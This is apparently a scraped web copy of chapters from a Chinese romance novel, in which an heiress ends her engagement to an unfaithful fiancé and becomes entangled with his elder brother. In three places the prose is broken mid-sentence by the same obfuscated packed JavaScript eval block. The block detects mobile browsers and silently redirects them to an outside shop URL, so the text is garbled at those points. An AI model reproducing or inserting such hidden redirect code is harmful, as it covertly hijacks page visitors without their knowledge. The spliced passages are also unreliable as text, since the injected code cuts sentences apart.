见她一身被暖气烘过但依旧半湿着的衣服,严叔满眼心疼:“哎哟我的大小姐,您这是干什么去了?下雨怎么不打把伞啊?” 南惜毫不在意地捋着头发,走进电梯:“我爸妈怎么样?” “老爷刚摔了一只汝窑茶杯,夫人说要推掉乔家的名流晚宴,有姓池的就没咱家。”严叔叹口气,“您赶紧去劝劝吧,一个个都要昏头了。” 南惜敛眉,手里动作顿了顿。 池昭明这点小破事,还不值当爸妈做到如此地步。 确实是昏了头了。 电梯停在一楼,南惜抬脚走向客厅的时候,正听见南俊良大发雷霆。 语言系统彻底混乱,京腔夹港普一通突突突:“池苍山那个混账玩意儿,顶佢个肺!衰仔干出这种丧尽天良的丑事,say sorry就ok了?还妄想娶我女进门,我呸!做他狗屁的春秋大梦!扑街!” 又一声巨响,南俊良摔了手机。 南惜站在钢琴后面,爸妈的身影被挡着,只看见飞出来砸到地上瞬间分尸的手机,和走到这边弓身捡手机碎片的祁景之。 祁景之起身时发现她,蹙着眉,下巴朝她身后抬了抬。 他要她走。 南惜会意,却没听他的指示。 她缓缓挪步到沙发前面,垂下眸叫人:“爸,妈。” 南俊良余怒未消,朝她吼:“你还知道回来!” 南惜活了二十三年,第一次被爸爸凶,心脏猛一跳,整个人僵在原地。 南俊良走到她面前,一副要训人的架势。 祁景之半个身子挤到两人中间,把她推到身后,拦住:“爸,冷静。” 祁玥也上前拉住丈夫:“你疯了吧?吼惜惜做什么?” 南俊良锐利的眼神微微一颤,唇瓣翕动,消了声。 他本来也没打算对女儿发火,只怪刚才池苍山那通电话,让他理智溃散到边缘。 妻子柔软的手臂勉强安抚下他的失控,停止迁怒,嗓音压下来,看着南惜沉冷威严地开口:“这桩婚事到此作罢,池家那小子你就算再钟意,除非我死,你休想嫁他。” 南惜盯着祁景之拦在她身前蜷住的手,忍不住眼眶一热。 从今天下午起,她不止一次感受到家人毫无保留的偏爱。 其实池昭明说的没错,两家联姻牵涉甚广,这个节骨眼闹分手,取消婚约,不止是他们俩吵个架,拉黑联系方式这么简单。 也不止是南俊良打通电话把池苍山骂一顿这么简单。 心口血液滚烫而汹涌,泪意直逼眼眶。 南俊良见她眼睛红了,竭力隐忍着愤怒,语气生硬:“你哭也没用,冇得傾。再让我知道你偷偷见那个衰仔,你就别想出家门。” 祁玥拽拽他袖子,不满地瞪:“好好的话非要这么说?” 她上前拉住南惜的手,安慰道:“爸爸也是太担心你,他气坏了,不会说话。池昭明那孩子,本来以为就是平庸了点,无伤大雅。可他这次居然能干出这种勾当,可见人品就有瑕疵。” 祁玥轻拍女儿的手背,语重心长地继续劝说:“宝贝你还小,不懂男人。男人出轨只有零次和无数次,你这次原谅了他,他以后只会越来越过分,再怎么道歉和保证都没用。爸妈是不想看你跳进火坑,乖,听话好不好?” 南惜翻过手掌,握住妈妈。 祁玥无比担忧地看着她,生怕女儿还执迷不悟。 祁景之立在一旁,唇线也抿得笔直。 南俊良面色铁青,好像真随时准备把她绑起来,关进房间。 “爸,妈,哥哥,我决定了。”她深深地吸了口气,再抬眼时,眉目清亮而澄澈: “我要退婚,和他一刀两断。” 早在看见那张照片时,她就不打算继续了。 那是盖住坟墓的最后一抔土,彻底埋葬了她愚蠢荒唐又可笑的青春。 * 喝完保姆陈阿姨煮的姜汤,南惜回房睡觉。 这一觉睡得很安稳。 虽然醒来时眼角似乎有泪痕,但完全不记得梦到过什么。 池昭明还在换不同号码打给她,发短信,南惜索性把手机关掉。 她原以为分手会伤心到肝肠寸断,会像电视和小说里那样哭得昏天黑地,甚至想要寻死觅活。 但很奇妙,除了无法避免的抽丝剥茧般的痛,和回忆起那些旧时光的难过和唏嘘,剩下的竟然是轻松。 好像困在笼子里的灵魂终于飞出来,重获自由。 平心而论,她并不想要田蕙云那样的婆婆,如果不是和池昭明难以割舍的青春,她这辈子都要躲那种女人远远的。 许是因为这两年的太多憋屈和失望,她到现在才恍然发现,对池昭明的感情已不再强烈,执着,非他不可。 虽然心脏还是会痛,里面变得空落落,被连根拔起的地方满目疮痍。 但一定会好起来的,她想。 坐在门口浮桥上,一双莹白如玉的脚没入清澈浩荡的温泉水中。 南惜看着自家庄园四周——京城绝无仅有的,为私人专属的连绵青山,镜面般的天然大湖,以及这片土地之上的广阔天空,美好得仿佛所有不幸都只是一场噩梦。 听说池苍山在波士顿,过两天才能回来,也不知是真的,还是故意拖延,对这桩婚事还心存侥幸。 但只要南惜态度坚决,南俊良就不慌,带着妻子继续出门度假。 他们下午就走了,晚饭只有南惜一人。 法式设计的庄园主楼被华丽的洗墙灯勾勒出优雅轮廓,白墙黑窗框,都落进暖黄色灯影中。 南惜也在这片灯影里,吃着陈阿姨准备的饭后果盘,坐在屋前台阶上,看低处绿油油的草坪,被狭长的人造水池和主干人行道隔开成两大块,明亮路灯下每块地砖的花纹都清晰可见。 小时候,祁景之常陪她在那儿跳房子。 祁景之年长她六岁,嫌她幼稚,但还是愿意陪她玩。 从小到大,他带她的时间比保姆多。 临近九点,龙湖边放起了烟花,一簇一簇的彩色,点亮此刻只属于她的这片夜空。 南惜仰望着,头顶忽然罩下一只温暖手掌。 手的主人把她的脑袋当支撑点,坐到旁边,顺手薅一把她的头发。 南惜撩眼看乱糟糟的刘海,撇嘴:“别以为你给我放烟花,就可以为所欲为。” 祁景之哼笑了声,抢走果盘里最后一颗车厘子。 * 晚上九点,余沭阳的老板依旧在办公室。 他接完安保电话,急忙敲响总裁办大门。 “进。”里面传来池靳予冷淡的嗓音。 余沭阳走进去,看了眼沙发上吊儿郎当坐着的薄慎,略微点头打了个招呼,向池靳予汇报:“池总,安保队长说二少爷在公司附近被打了,伤得很重,刚送去医院,警方要查。” 薄慎正剥着开心果壳,忽然意味不明地笑出声。 池靳予没管他,面色如常,只眉梢动了动:“位置?” 余沭阳说:“大厦东侧那条小路。” 池靳予打开电脑,长指利落地敲击键盘,输入一串复杂指令,屏幕顿时被密密麻麻的□□格占据。 每格都代表着一个高清摄像头。 他锁定其中一格,靠向椅背淡淡地开口:“监控坏了。” 余沭阳一愣:“啊?附近的监控刚检修过。” 池靳予看着他,缓慢重复:“我说,坏了。” 余沭阳立刻明白过来,欠了欠身走出总裁办。 薄慎终于把那颗开心果喂进嘴里,笑容压不住一点:“祁景之干的?” 池靳予扯扯唇:“除了他还能有谁。” 薄慎轻笑:“你倒是难得向着他。” 顿了顿,饶有兴致地观察他表情:“差点忘了,你俩高中好兄弟来着,算起来,他是我‘前任’。” 办公室内温暖如春,坐在真皮转椅中的男人,眼底却藏着一片凉:“别哪壶不开提哪壶,没个正行。” * 隔天中午,南惜终于打开手机。 骚扰她一天的池昭明似乎放弃了,最后一条短信结束在昨晚。 微信里除了群消息,还有不少朋友私下的关心,她一一回复并道谢。给三堂姐南映雪打了通电话,听她用粤语骂得酣畅淋漓,各种美食器官都问候个遍,心情莫名很好。 结束通话,又在京城名媛群发了个大红包。 然后点开祁书艾的对话框:【宝贝儿~】 祁书艾甩过来一个视频通话。 南惜素面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14276979|151786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝天,那女人却精致得像个洋娃娃,认真端详过她的模样,还算满意:“心理素质不错啊,全网都在嘲你要死要活,我还以为起码要等半个月你才会主动联系我呢。” 南惜笑了一下,问:“礼物喜欢吗?” 她说那只金貔貅。 祁书艾跟着笑起来:“还是我妹妹财大气粗,会疼人。” 祁书艾是南惜舅舅的女儿,只比她大六个月。两人是表姐妹,也是从小穿一条裤子的闺蜜。 南惜坐在床上托着腮:“喜欢就好。” “既然这样,姐姐也疼一下你吧。”祁书艾挑了挑眉,“今晚六点,pick me不见不散。” 南惜凤眸一眨:“去夜店?” “怎么?你都甩了那货了,还不能去?”祁书艾一想就窝火,池昭明那厮居然禁止她姐妹蹦迪,嘛倒霉玩意儿,“好歹也是夜店双娇之一,我得把你引回正途!” “行。”南惜笑了笑,“今晚见。” 自从决定结束,那些条条框框她早就抛开。 池昭明凭什么管她? 想想曾经为爱情变得乖巧听话的自己,还真是傻得可怜。 五点半,南惜带着精致的妆容出发,看似寻常的米白色风衣里面,是许久没穿过的贴身吊带裙。 她还是喜欢这种肆意展现完美身材的感觉。 完美和漂亮并不羞耻。 可万万没想到的是,兴冲冲的祁书艾放她鸽子:“啊啊啊烦死了,下午刚发的视频判我违规,什么鬼玩意儿举报我啊。” 南惜靠在车门边,手指玩着风衣扣子:“那怎么办?现在改吗?” “不行了,要重拍。”祁书艾叹了一声,“你早点儿回去,姐姐改日再带你玩儿。” “行。”南惜笑了笑,“工作重要,咱们俩来日方长。” 挂了电话,她从车里捞出一只Hermes小包,把手机装进去。 然后脱了外套扔到副驾驶,锁车,踩着高跟鞋昂首利落地走向pick me大门。 她不需要祁书艾带她玩。 阔别已久的熟悉氛围,是她的主场,南惜自己也能玩得很嗨。 * 酒吧阁楼上,僻静低调却视野绝佳的vip包厢,经理恭恭敬敬弯着腰。 不知道客人身份,老板临时打电话吩咐招待,可这位什么吃喝都不点,就要了一间能纵览整个大厅的包厢。 也不搭理他,兀自靠窗看着舞池。 经理求助的眼神投向一旁像是助理的年轻小伙,生怕招待不周,怠慢贵客。 “没事儿经理,您去忙吧。”余沭阳笑着抬了抬手,“有需要我叫您。” 经理应了声,满脸堆笑着离开包厢。 余沭阳眼观鼻鼻观心地守在旁边,给池靳予沏了壶茶——车上带来的。 老板不常进酒吧,除了应酬,但很少有人能让他破例。 坚决不碰酒吧里的吃喝,是老板鲜为人知的习惯。 余沭阳不知道为什么,但总归有道理,这不是他作为下属该好奇的。 刚才经过这条路,临时要他联系今晚会面的江总,把地址改在pick me。 余沭阳看了眼手表,离约好的时间还剩一小时。 老板应酬从不会提前到,他总是踩着点,重磅登场的那一个。 * 南惜太久没放纵过,身体不在最佳状态。 喝了几杯,跳舞才跳两个多钟,就头晕。 以前她是能边喝边蹦一整晚的,但体力需要锻炼,酒量也需要。 从洗手间出来时,她顺便用凉水拍了拍脸,感觉差不多到极限,准备叫个代驾回家。 迷迷瞪瞪的,她有点找不着方向,这条走廊像是被施了魔法,越来越长,望不到尽头。 正打算给经理拨电话,叫人来引路,脑袋突然撞到一个温热物体。 她吸了吸鼻子,恍恍惚惚。 有种久远记忆中熟悉的味道漂浮在空气里,南惜抬手拽住了什么。 是个身量很高的男人,她的脑袋还不到他衬衫领口。 她奋力仰起头,看不清,脸有好多重影子。 但那种熟悉的气味在勾引着她,凑近男人白皙的脖颈。 “哥哥。”女孩醉酒的嘟哝声沁着绵软,鼻子带着滚烫的气息贴到他颈侧,“是你么哥哥……” 前一秒僵在半空的手掌,蓦地搂紧她腰肢。 5. 第 5 章 余沭阳瞪大眼睛,怔然看着自家老板抱个女人到地库。 那女人身上还盖着连他都不能随意触碰的西装外套。 他不敢乱说话,从善如流地帮忙打开车门,等姑娘被温柔地放在后座,他才看清那张精致漂亮又熟悉的脸蛋儿。 ……最近遇见这位的频率是不是太高了点? 老板的行为是不是也有点反常? 但这念头只存在短短一瞬,老板上了车,他不敢多磨蹭,钻进驾驶座开车。 今晚行程定在pick me的时候,老板就给司机放了假。余沭阳从后视镜瞄了眼披着老板衣服睡着的南小姐,心想老板究竟是老板,算无遗策,未雨绸缪。 这场面,多个司机看到总不太好。 况且二少爷刚出那种事。 上路前,余沭阳恭敬地开口问:“送南小姐去龙湖山庄吗?” 池靳予抬手摩挲着领口的扣子,朝旁边看一眼:“回别墅。” 余沭阳再次瞪大眼眶,震惊程度不亚于第一次看见老板抱女人。 他冒死多嘴了一句:“这,不太好吧?” “你在教我做事?”池靳予难得撩眼,从镜子里对上他战战兢兢的目光,神色很冷。 余沭阳不敢再说话。 不愧是他的老板,私生活要么没有,要么劲爆。 虽然道德上有点难接受,但他会拼死守护住老板的私生活。 直到后座传来沉冷嗓音,打断他脑袋里的小九九:“专心开车,别那么多戏。” 余述阳:“……” 其实,池靳予脑中并没有那些天马行空的歪心思。 他的身份不合适送她回龙湖,对她父母无法解释,也不能把醉成这样的女孩一个人扔在云宫,至于找祁景之,两人关系微妙,徒添不必要麻烦,仅此而已。 下车前,他给崔姨打了通电话,让她来照顾。 池靳予多年独居,别墅客房没收拾过,想着等崔姨来铺好床再把人挪过去,暂时安置在主卧。 快速洗完澡出来,看女孩抱着被子睡得正酣,浑然不觉这是别人的床铺。 他脑中突然生出个念头。 要不他睡沙发,也行。 南惜醉酒爱翻身,睡相不好,一脚踢开薄薄的蚕丝被,柔软的裙子布料顺势被牵起来,露出光洁白皙的大腿根。 池靳予没想看,但就这么猝不及防入了他的眼。 喉结不禁一滚,他走过去给她盖被,默念着非礼勿视,眼撇向一边,尽量不亵渎女孩毫不设防袒露的身材。 然而他正要直起身,一片凉意攀上手腕。 女孩不知何时睁开了眼。 清淩如水波,带着醺然醉意,就这么直勾勾望着他。 池靳予浑身僵硬,忘了挣扎。 良久,清甜的蜜桃味和酒味溢散在两人之间。因为醉,她的嗓音娇憨软糯:“是你啊。” “又见面了。”她轻笑一声,把他的手拉近,“小,帅,哥。” 肆意撩拨着,指尖戳了戳他的脸颊。 南惜神智有一刻清醒,认出是那天在珠宝店看见的绝品帅哥,但很快又被醉意侵袭。 至于这种孟浪行为,全然不发自她本心。 源于被酒精控制,飞速占领大脑的荷尔蒙。 她把这只手拉到怀里,心想这人好听话,怎么轻轻一拽就低头。 然后满意地贴上那双薄唇,毫无章法地亲。 池靳予这辈子第一次,不管不顾不论对错,任由自己上女人的钩。 他冷静自持地任由她为所欲为。 直到听见她唇齿间溢出的破碎和委屈:“凭什么就你能找女人……” 浑身血液疯狂地汹涌至大脑,冲散所有残余的理智,化被动为主动。 * 南惜搂着个大抱枕睡了一夜。 次日醒来,映入眼帘的是一副男性躯体。虽然含蓄地掩藏在睡袍中,可脖颈上那一点暧昧红色,瞬间让她想起昨晚的一切。 幸运的是没有发生,停止在失控边缘。 但最后她像只赖皮熊醉醺醺的要抱着人睡,撒泼耍赖不依不饶的样子,全都清晰地涌上脑海。 她记得,他脖颈里有熟悉的味道,让她卸下了所有防备。 那是比她和池昭明的爱情更为深刻的记忆。 可清醒后她几乎能断定,他并不是记忆中那个人。 对方还睡着,南惜有点好奇地盯了一会。 比起珠宝店里遥遥一瞥,近处的他更为迷人。 眉骨高,眼窝略深,算是浓颜系。 鸦羽长睫倾盖的眼睑,熟睡时呈现出温润疏懒的弧度。阳光凝在鼻尖的最高点,让鼻梁显得越发挺翘,加深了这张脸略带锋利的轮廓。 一夜后长出的淡淡青茬,沿着流畅如精雕的下颌线蔓延,在那双性感的薄唇周围。 昨晚她勾勒过,品尝过,侵略过的唇。 他接吻的技术很迷,一开始咬痛了她,可后来却像突然打开了什么机关,由生涩到驾轻就熟。 湿润滚烫的,如浪潮般裹卷住她的男性气息,将本就晕眩的神志冲击成碎片。 以至于她的身体并不抗拒发生点什么。 不知道是哪家少爷,以前竟然没见过,但昨晚她醉极胡来的时候,短短哄过她几句,听口音是京城人。 和那些公子哥不一样,不带半点儿市井痞气的京腔,显得这个人板正,儒雅,清冷端肃。 只可惜,圈里排号首先看家世,这人八成是名不见经传,叫一副好皮囊明珠蒙尘,否则京城里的姑娘们早挤破头了。 南惜瞥见自己的包在床头柜,小心翼翼地收手起身。为免吵醒他,走到门口的脚步也放得很轻。 她极其缓慢地压下门把手,鬼鬼祟祟地,刚往外探出个脑袋,一惊,咻地躲回房间。 ——走廊有个阿姨在浇花。 南惜靠着门板拍拍胸脯,舒了口气,满室光线忽然被挡住。 灰色睡袍裹着一座山,竖在她眼前。 她心虚抬眼,对上一双望不见底的棕眸。浅淡,微凉,和昨晚炙热的吻毫不搭边。 男人醒得猝不及防,她心内也只短暂慌了一慌,眼神冷静平和地迎上去:“谢谢您收留我。” 没等到回应,她继续开口,语气全然是诚恳:“昨晚我喝多了,纯属意外,对您造成不好的影响,如果您需要的话,我可以补偿。” “补偿?”男人眼中划过一抹兴味,“我好心收留,你恩将仇报轻薄于我,的确该补偿。” 不知为何,南惜觉得他特意咬重了“轻薄”二字。 是她主动的,她无从辩解。 而他最后停下来,足以证明是个不太坏的人。 换作池昭明,一定会放任这种事发生,然后毫无人性地一脚踢开。就如同对那个女明星。 想到那晦气货,南惜脑中一股烦躁。 耐心也变得不多,望着男人,打算速战速决:“要不您开个价?” 说完怕被误会,一脸认真地补充解释:“精神损失费,住宿费,等等。” 她没说服务费,虽然昨晚那个吻不错,陪睡的“抱枕”手感也绝佳,但她不想侮辱人。 池靳予看着女孩打开包扣拿手机的动作,知道她没在开玩笑。 那句“等等”是什么意思,他也懂。 目光落在她微乱的头发上,晦暗不明。 南惜没等到他回答,主动给个数试探:“您看二十万可以吗?” 男人似笑非笑地扯了下唇。 南惜轻轻吸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14276980|151786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了口气,揣摩他冷淡表情之下的意味:“您觉得不够?” 他还不表态。 行吧,反正她有的是钱:“三十万?五十万?您看多少合适?我都行。” 对方不说话,她怕显得太咄咄逼人,诚恳地眨了下眼睛:“我是真心感谢您的。” 池靳予压根没在想钱的事,女孩一声又一声“您”,窜得他脑袋发蒙。 她很礼貌,哪怕态度不算谦逊,可京城老祖宗教的规矩半点不含糊,句句都带“您”。 “不用了。”池靳予压下情绪,转身去卫生间。 他不想再听到那个字。 南惜听见关门的声音,才从诧异中回神。 又不用了? 啧,善变的男人。 南惜把手机装回包里,侧头瞄了眼门口的落地镜。 裙子完好,天价锦缎被压了一夜,连褶皱都没有。但昨晚的妆还在,想着回家得赶紧卸妆,护个肤。 她抬手抓了抓乱蓬蓬的发丝,问里面的人:“先生,您家客卫能用吗?借我梳个头。” 清冷嗓音隔着门飘出来:“请便。” 顿了下,她又问:“您家阿姨……” “走了。” “……哦。”南惜对着镜子鼓了鼓腮帮,心想真是个大闷棍,白瞎一张绝世好脸蛋。 这性格在圈里不可能讨喜,要没个像样的家世,得让人追着捧着的程度,那些公子哥肯定不爱带他玩。 怪不得从来没见过。 出于礼貌,她还是补了句:“谢谢。” 才拉开卧室门。 大面积黑金色调的装饰,简单利落而富有科技感的线条,和龙湖山庄的奢华法式大相径庭。 一个传统复古,一个沉稳现代。 南惜忽然觉得这房子的调性和他很相配,但也只有十分短暂的念头。 因为她很快发现自己迷路了。 南惜有种莫名的错觉,这房子像一个圈。 她一边在迷宫里窜,一边想从四环外进城开她的车,再回家里得花掉多少时间。 这么大面积,这种创造性别墅,除了她知道的那几位,应该只配在四环外了。 南惜生无可恋地看着一成不变的装修,好像鬼打墙,后悔没提前问清楚怎么出去。 等她终于找到电梯,依然没找到第二个卫生间。 眼下却没力气再找了,只想立刻逃离这个鬼地方。 南惜认命地走进电梯,摁下一楼,从包里翻出皮筋把头发绑起来。 电梯内饰虽然普通,但运行平稳,完全无声。她不太懂这方面技术,仅凭混迹于各种高档会所的乘坐感,也知道有点东西。 好在一楼没那么复杂,出电梯经过一段走廊,就是客厅。 开间和挑高都宽敞得不像话。 半圆形的巨幅无边框玻璃盛满了窗景,绿树掩映,假山环绕,平缓台阶下漂浮着水波粼粼的鱼池。 窗外景色层次错落有致,唯独看不见一丁点围墙,和别墅外面的其他景色,好像刻意把与庭院设计无关的一切都阻隔起来。 这人是有视觉洁癖吗? 景确实很美,此刻她却无半分赏景的雅兴。 离开前最后一件事,她写了张带电话号码的字条,压在茶几上。 万一这位回过劲儿,还是想要补偿呢?她从不欠人情。 南惜从满眼葱郁中找到别墅大门,获救般逃了出去。 一院之隔,门外繁华喧嚣,车水马龙。 她抬头看见了红墙黛瓦之上的蓝天白云,和远处飘扬的五星红旗。 这哪里是四环外,分明是寸土寸金的帝都中央。 背后那扇黑色雕花大板,是她和祁书艾无数次遛弯经过,都忍不住仰望欣赏的神秘之门。 6. 第 6 章 这座不知何时出现在这里的神秘豪宅,没人知道房主是谁。 别墅没有名字,只有一个官方门牌,和府街特1号。 围墙内景色被绿植遮挡得严严实实,看不见内里乾坤,曾经有人试图用无人机探秘,飞进去不久,直接被请到派出所。 南惜拍了拍脑袋,默念着忘掉忘掉,管他是谁,以后八成也不会再见。 * 足足半小时后,立在书房窗边的男人才看见那抹灵动的影子,逃也似的窜出大门。 他难得勾唇轻笑。 桌上电话响,池靳予稍稍放低手中咖啡,按下免提键:“什么事儿?” 对面薄慎愣了下,笑出声:“心情不错?” 池靳予凝起神色,喝一口咖啡:“有吗?” “听你说话这调儿,春风得意的。”薄慎说,“不知道还以为昨晚干什么去了。” 池靳予向来洁身自好,他绝不会联想到女人。 池靳予没闲心和他瞎扯:“有事儿说事儿。” 薄慎:“你这人真没意思,兄弟找你唠唠还不行?” “没空唠。” 薄慎早习惯他这样,笑了笑,接着说:“魏亦铭回来了,晚上在京厦组局,让我请你给个面儿,纯素的,打打牌,喝点儿小酒。” 池靳予放下杯子,蹙眉:“晚上飞柏林出差,下次吧。” “行,少爷明天去港岛见他姥,下次不知道哪次了。”薄慎啧了声,“比咱俩还忙。” 魏亦铭的母亲是南惜的小姑,排行老四。 不过她嫁人早,儿子年纪和祁景之差不多。 这位根正苗红的世家子弟,不从商不从政,偏要去北极搞科研,这些年忙得亲戚朋友都不怎么来往。 和薄慎池靳予是大学同学,说来也怪,不同专业,性格也南辕北辙,八竿子打不着的社交网,愣是保持联系到现在。 薄慎觉得池靳予这家伙交朋友的标准难以捉摸,魏亦铭这层关系,虽然当初全靠他这个社牛主动,细想还是被池靳予撺掇的。不然他这满身铜臭吃喝玩乐的性子,哪能交上科学家朋友。 挂电话前,池靳予嘱托他:“把齐博士送的那套勘测仪给他带过去,小心轻放。” 薄慎声调都高了:“你那压箱底儿的宝贝?” “我用不着。”池靳予淡淡说,“还有事儿,先挂了。” 今天两个视频会议,时长都在三小时以上,加上中途休息时间,全部开完已经是下午。 余沭阳和司机来接他,把去柏林的行李搬上车。 池靳予坐在后座,一边摊着笔电看报表,一边接池苍山电话。 集团现在虽然全交给他,父亲还是习惯性唠叨,说了半天,没几句有用的。 人老了,思想跟不上时代的变化,早几年集团差点折在池苍山固执己见的陈旧经营模式,若不是他回国力挽狂澜…… 这事他不想居功,毕竟他也得到了他想要的,把那对母子踩在脚下,翻不得身。 如今他还想要更多。 他沉默着听,偶尔应声,表示记在心上。 “爸,我到机场了。”他沉声说着结束语,“您的意见我会好好考虑,回头再聊。” 挂断前,那头清晰传来田蕙云尖细的嗓音:“老公,他们过来了,说还有二十分钟……怎么办呀真要退婚?这昭明还在医院呢……” “一会儿态度好点儿,看还有没有挽回的余地。”池苍山掐了电话。 航站楼的贵宾出入口空空荡荡,附近只有这一辆车,视野开阔,远景苍翠。 穿制服的地勤人员拉着辆行李车出来。 余沭阳刚打开后备箱,准备下行李的时候,忽然听见后座磁沉如落泉的嗓音:“回老宅。” 他愣住。 “帮我换明早的机票。”池靳予下了命令,“别磨蹭,上车。” * 南惜是在车上才得知池昭明受伤住院的。 南俊良如今变着法儿享受,黄牌的迈巴赫S680普尔曼,后座被改造成一间奢华客厅。 L型转角真皮沙发,南惜坐在最宽敞的角落,懒洋洋架着腿,看着电视,耳机里传来祁书艾的嗓音:“我那狗仔朋友说他伤挺重的,好像得在医院躺半个月,哪个正义之士替天行道啊,真解恨。” 南惜笑:“警察没给揪出来?” “不知道啊,按理说应该有监控,听说坏了,这时间点儿坏得邪乎。”祁书艾啧了声,“所以做人还是得光明磊落,不然连老天都看不下去。” 南惜从茶几上拿了颗剥好的无籽葡萄,喂进嘴里,心情甜美得很。 多行不义必自毙,还是她人美心善,连老天都帮她。 昨晚听说池苍山回京城,南俊良连夜带妻子从北海道回来,准备去池家提退婚。 这事儿还得他们主动,指望池苍山,那家伙一准的拖字诀。 祁景之有公事,没来,但父母和她一起来。 南惜印象中,池家长辈从来没这么热络过。池苍山本就不苟言笑,只对小儿子态度稍好些,和她并不算亲厚。 至于田蕙云,从来一副当家婆母的架势,给她立规矩。 这次全然变了天。 一家三口被请进门,池苍山和田蕙云满脸谦逊,甚至算得上谄媚。 池苍山难得话多,大部分都是道歉,数落自己儿子不懂事。 田蕙云负责倒茶,切水果,布置甜品,亲力亲为,连佣人都没唤。 南俊良扫了眼桌上的东西,茶也不接,没给她面子,望向池苍山言归正传:“池老兄,我叫你一句老兄,是看在你我往日情分。如果这事谈不妥,以后也莫讲情分了。” “我就这么个女儿,我们家有多宝贝,你也知道。我不怕得罪你,讲句实话,本来也看不上你家仔,要不是我女儿钟意,一早不会定下这婚事。” “是是是,我知道昭明这孩子不扛事儿,可他对南惜是真心的啊,两个孩子从那么小就一块玩儿,咱俩也是看着他们长大的,能走到一起,是多大的缘分。”池苍山叹了一声,“昭明是犯错了,但他也知道错了,答应以后绝不再犯。至于那个……我已经做主,圈儿里彻底封杀,以后不会影响到他们。” 见南俊良神色并未缓和,池苍山一拍大腿:“那浑蛋如果敢再犯,我亲自打断他的腿。这话我当着弟妹和南惜的面儿,大家都有个见证,行不行?” 祁玥哼了声,嗓音又脆又冷:“少来,狗改不了吃屎。” 长辈说话,没有南惜插嘴的份,她乖觉坐着,竭力憋住笑。 池苍山脸色僵了僵,但不能发作。 田蕙云暗自咬着唇。 “我的来意电话里已讲清楚。”南俊良边说,边自然握住妻子的手,像在无声表扬她的娇纵,“退婚,没得商量。” 一席话堵住了池苍山准备好的说辞,他抿唇端茶,似在思考如何打破困局。 田蕙云看了丈夫一眼,小心翼翼地开口:“南先生,您看这样行不行?原定的聘礼,咱们家添上一栋碧玺湾别墅,送给惜惜,就当赔礼了。” 南俊良皱眉,为她言行暴露的小家子气。 但他作为男士,不好出口怼别人太太。 祁玥默契地接过丈夫心里话:“池太太,您觉着我缺钱吗?我看是您缺心眼儿吧,家里多摆几个镜子,没事儿照照。” 祁玥早年也是个闺秀,举止规矩本分,婚后被南俊良惯的,谁要得罪她,断不会留情面。 南惜一旦看谁不爽就带上“您”字戳人肺管的阴阳怪调,还是跟她妈学的。 但即便这样难听的话,从祁小姐那浸润了高雅雍容的口中说出来,也比田蕙云矫揉造作的夹子音悦耳了不止一点半点。 南俊良就吃她这套,搂过妻子的肩,声调软下来:“bb啊,我们不是来吵架的。” 祁玥望着田蕙云那张伪善的脸:“哼。” 南惜早就司空见惯,用手指摸着光滑细腻的美甲片,默默低头吃狗粮。 田蕙云见一招不通,索性红了眼睛,满脸委屈地拿着手绢擦:“我儿子也可怜啊,莫名其妙被打了一顿,到现在还躺在医院呢。医生说肋骨折了三根,要养半个月才能下床。” 眼泪说来就来,哭得梨花带雨,望向池苍山:“老公,我们儿子命苦啊,他长这么大就喜欢这一个姑娘,现在人事不省,还要被退婚……” 池苍山被她哭得心烦,但也忍不住恻隐,低下声请求:“老弟,说出来不怕你笑话,昭明现在人在医院呢,也算是得报应了。我们家是真心想娶南惜,要不再缓一缓,等昭明恢复些,两个孩子好好谈谈,把事儿说开。年轻人心气儿大,没准儿就是一时冲动,这么好的姻缘断了,以后追悔莫及啊。” 正说着,门外传来一阵皮鞋踩踏青石板的声音。 沉稳均匀,醇厚音色彰显出鞋底的质感贵重。 不知为何,那一声声引得南惜心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14276981|151786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口晃荡,有点失神。 直到那串声音进到屋内。 木地板被压出闷响,同样的频率,走向南惜侧面的单人沙发。 黑色锃亮的手工皮鞋一尘不染,西裤脚整齐得像刚熨过,再往上,包裹着笔直修长的一双腿,扎着白衬衫的劲瘦腰身,半隐在微动的西服衣摆中。 他脚步停下,衣摆也徐徐静止。 垂在腿侧的双手骨骼匀称,修长干净,连指甲盖都是没有瑕疵的圆润形状。 属于男性的宽厚骨架,带着无法忽略的天然压制感,好像一旦被这双手抓到,就再难以挣脱。 西装颜色和那天在商场看见的差不多,款式用料和光泽度也类似,但不是同一套。 南惜不敢相信心底的预感,却还是忍不住压着心跳,抬起头。 蓦然撞入一片熟悉的棕色海洋。 对方目光却没有过多停留,只浅淡一眼,算打招呼。 南俊良疑问的嗓音让她稍稍回神:“这位是?” 池苍山不料他回来,惊讶之余有点僵硬:“我大儿子,靳予。” 